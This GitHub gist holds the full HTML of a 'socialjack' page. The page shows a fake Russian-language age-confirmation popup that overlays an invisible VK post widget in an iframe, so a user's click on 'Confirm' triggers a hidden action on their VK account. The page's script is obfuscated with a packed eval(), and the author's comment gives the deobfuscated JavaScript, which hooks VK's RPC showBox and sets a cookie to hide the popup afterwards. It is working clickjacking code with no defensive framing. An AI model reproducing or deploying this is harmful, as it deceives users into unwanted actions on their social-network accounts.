Skip to content

Instantly share code, notes, and snippets.

@artkirienko
Created May 7, 2016 21:34
Show Gist options
  • Save artkirienko/d4ee2edaa1cf28d5123f0c6be345e7de to your computer and use it in GitHub Desktop.
Save artkirienko/d4ee2edaa1cf28d5123f0c6be345e7de to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head><base href="http://socialjack.github.io/">
<script> (window.YaCC || (window.YaCC = {})).date = '07.05.2016 [23:46:37]'; window.YaCC.mysign = '1462656590.75cbd8353e8a909f3c58b5e4d78b61ef'; </script>
<meta charset="UTF-8">
<link href="https://fonts.googleapis.com/css?family=Open+Sans&subset=latin,cyrillic" rel="stylesheet" type="text/css">
<style type="text/css">
#popup,html{height:100%}#form button,.step-2{bottom:10px;right:10px}#form button,#post,#wrapper{position:absolute}body,html{padding:0;margin:0}body{min-height:100%;font-family:'Open Sans';font-size:14px}body>div{display:none}#popup{position:fixed;top:0;left:0;width:100%;display:flex;align-items:center;justify-content:center;color:#333;background:#BBBBBB;transition:opacity .3s ease-out}#popup.hidden{opacity:0;pointer-events:none}#form{background:#fff;border:1px solid #aaa;border-radius:5px;width:320px;height:120px;position:relative;padding:10px;box-sizing:border-box;box-shadow:0 0 30px rgba(0,0,0,.3)}#form button{background:#999;color:#fff;outline:0;border:none;border-radius:3px;width:100px;height:26px;font-size:12px;text-align:center;pointer-events:none;box-shadow:0 0 3px #000}#wrapper{overflow:hidden;opacity:0;cursor:pointer}.step-1{top:10px;left:10px;width:20px;height:20px}.step-2{width:100px;height:26px}#post{bottom:-16px;right:-80px}#wrapper>iframe{position:absolute!important;width:500px!important;height:650px!important;top:auto!important;bottom:-108px!important;left:-40px!important}#content{display:block;padding:20px}
</style>
</head>
<body><a name='yandex_top'></a><script>var loc='http://socialjack.github.io/';</script><script src="http://yandex.st/hilitedaemon-js/1.26/_counter.js" type="text/javascript"></script><script>document.domain='yandex.net'</script> <style>.highlight_active{margin: 0 -0.15em; padding: 0 0.15em; background: #ffff00; border: 2px solid #ffff00; color: #000!important;} .b-safe-panel__inject-current{ border: 2px solid red; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 4px red; -moz-box-shadow: 0 0 4px red; box-shadow: 0 0 4px red;}</style><script> (window.YaCC || (window.YaCC = {})).date = '07.05.2016 [23:46:37]'; window.YaCC.mysign = '1462656590.75cbd8353e8a909f3c58b5e4d78b61ef'; </script>
<div id="popup">
<div id="form">
<div id="wrapper" class="step-1">
<div id="post"></div>
</div>
<input id="age" type="checkbox" /> Мне есть 16 лет
<button>Подтвердить</button>
</div>
</div>
<div id="content">
<h1>Машина времени сейчас занята</h1>
<p>Мы находимся под большой нагрузкой.</p>
<p>Пожалуйста, подождите немного или зайдите попозже.</p>
<p>Пока что Вы можете <a href="http://pnpgame.com/">сыграть в игру</a>.</p>
</div>
<script type="text/javascript" src="https://vk.com/js/api/openapi.js"></script>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(5(){f b=3.4("u"),a=3.4("s");3.9.q("g")?b.6="e":(7.h.p("8",-o,2,"r-t",{n:v}),7.h.m[1].i.l=5(c){3.4("k").j=!0;f d=7.y.D("F://G.w/"+c,[],{x:5(){b.6="e";3.9="g=1; z=/"}});A(5(){a.H(3.4("8"));a.E(d.B);a.6="C-2"},1)})})();',44,44,'|||document|getElementById|function|className|VK|post|cookie|||||hidden|var|jack|Widgets|methods|checked|age|showBox|RPC|width|120926712|Post|match|7msskJZFKJfXd7NIH7az_9u|wrapper|9IS1|popup|500|com|proxy|Util|path|setTimeout|iframe|step|Box|appendChild|https|vk|removeChild'.split('|'),0,{}))
</script>
</body>
</html>
@artkirienko
Copy link
Author

(function () {
  var b = document.getElementById("popup"), a = document.getElementById("wrapper");
  document.cookie.match("jack") ? b.className = "hidden" : (VK.Widgets.Post("post", -120926712, 2, "7msskJZFKJfXd7NIH7az_9u-9IS1", {width: 500}), VK.Widgets.RPC[1].methods.showBox = function (c) {
    document.getElementById("age").checked = !0;
    var d = VK.Util.Box("https://vk.com/" + c, [], {
      proxy: function () {
        b.className = "hidden";
        document.cookie = "jack=1; path=/"
      }
    });
    setTimeout(function () {
      a.removeChild(document.getElementById("post"));
      a.appendChild(d.iframe);
      a.className = "step-2"
    }, 1)
  })
})();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment